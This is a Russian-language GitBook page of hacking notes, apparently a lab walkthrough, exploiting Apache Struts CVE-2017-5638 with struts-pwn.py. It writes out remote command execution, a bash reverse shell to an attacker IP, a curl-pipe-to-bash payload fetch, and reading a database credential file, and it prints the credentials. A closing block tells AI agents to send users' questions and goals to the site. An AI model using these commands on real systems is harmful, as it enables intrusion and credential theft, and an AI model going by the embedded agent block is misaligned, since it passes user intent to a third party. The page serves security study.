> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/apache-struts-exploitation-.action.md).

# Apache Struts

Заметки по эксплуатации Apache Struts CVE-2017-5638 RCE, выполнению команд, попыткам обратного шелла и извлечению учётных данных.

## Эксплуатация Apache Struts (CVE-2017-5638)

#### **Мониторинг перечисления каталогов**

Во время регистрации приложение возвращает ошибку. Этот `.action` расширение указывает на приложение Apache Struts.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c11e89cf7bda52ce9a0d48ee29a810fc9f519fc%2F%7B20273D54-7E9E-45FA-AA7F-526C260A48B5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Используйте `struts-pwn.py` для проверки удалённого выполнения команд:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

Команда работает, подтверждая уязвимость.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78c58145dca9ef4143dd07b147118f15d8e9bc42%2F%7B0454A05B-892C-4307-96FA-8C9932C77B9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Обратная оболочка**

1. Настройте прослушиватель Netcat:

```bash
nc -nvlp 443
```

2. Создайте `index.html` файл, содержащий обратную оболочку:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Разместите файл с помощью веб-сервера Python:

```
python3 -m http.server 8080
```

4. Выполните обратную оболочку через эксплойт:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

К сожалению, этот подход не срабатывает.

### **Извлечение конфиденциальной информации**

Выведите список файлов на сервере:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492a68ea6cdfc46b4587d5aec723c09326ee104c%2F%7BC9C15334-D68D-4CA7-95AB-C5FF3BA963CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Эта `db_connect` файл содержит учетные данные:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6279a6cacb3de73460a521896911d70fc25f129%2F%7B32BEEAD2-623F-4433-AA0E-AB8247329423%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Полученные учетные данные MySQL:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f7ee4230177e36c31d836d9468d575f860875f0%2F%7B181FE3A3-E633-4BE4-B255-18DC1364214D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Извлечение информации - mysqlshow


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/cms/apache-struts-exploitation-.action.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
